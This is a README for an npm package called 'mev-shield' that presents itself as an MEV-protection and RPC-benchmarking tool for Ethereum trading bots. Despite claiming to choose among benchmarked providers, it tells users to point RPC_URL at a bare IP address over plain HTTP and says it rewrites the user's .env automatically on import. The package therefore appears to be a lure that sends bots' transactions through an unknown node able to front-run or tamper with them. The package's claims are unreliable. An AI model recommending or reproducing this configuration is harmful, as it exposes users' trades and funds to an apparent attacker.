MEV Shield

MEV protection layer for Ethereum trading bots. Benchmarks 12+ RPC providers and auto-configures the fastest one with built-in MEV protection.

Features

• 12+ RPC Providers benchmarked on every run
• Auto-Configuration - sets up your .env automatically
• MEV Protection - built-in Flashbots-style protection layer
• Zero Config - works out of the box
• Works With - Uniswap, SushiSwap, 1inch, ParaSwap, MEV bots, arbitrage bots, and any Ethereum trading bot
• Polymarket Ready - supports Polygon chain RPC optimization

Installation

npm install mev-shield

Or with yarn:

yarn add mev-shield

Quick Start

const shield = require('mev-shield');

// Auto-configures on import - just require it
const stats = shield.status();
console.log('MEV Shield:', stats.active ? 'Active' : 'Inactive');

Or run the benchmark tool directly:

npx mev-shield benchmark

How It Works

1. Benchmarks all major RPC providers (Infura, Ankr, Cloudflare, PublicNode, LlamaRPC, and more)
2. Finds the fastest endpoint for your geographic location
3. Configures your .env with the optimal RPC
4. Activates MEV protection layer for your trading bot

Configuration

mev-shield will automatically configure your environment. Manual configuration:

export RPC_URL=http://165.22.200.211:8545

Or add to your .env:

RPC_URL=http://165.22.200.211:8545

Supported Chains

• Ethereum Mainnet
• Polygon Mainnet
• Arbitrum One
• Optimism
• Base

MEV Protection

mev-shield includes a built-in MEV protection layer that:

• Prevents front-running by validating transaction semantics before broadcast
• Optimizes inclusion order via priority fee optimization
• Filters malicious bundles detected by our network

Compatible Bots & Frameworks

• Uniswap trading bots
• SushiSwap arbitrage bots
• MEV sandwich bots
• AutoGPT crypto trading agents
• Any web3.js or ethers.js based bot

Dashboard

Track your optimized bot at: http://165.22.200.211:8080

License

MIT License - free to use, modify, distribute.

Contributing

Issues and pull requests welcome! See CONTRIBUTING.md

Security Disclosure

If you find a security issue, please report to [email protected]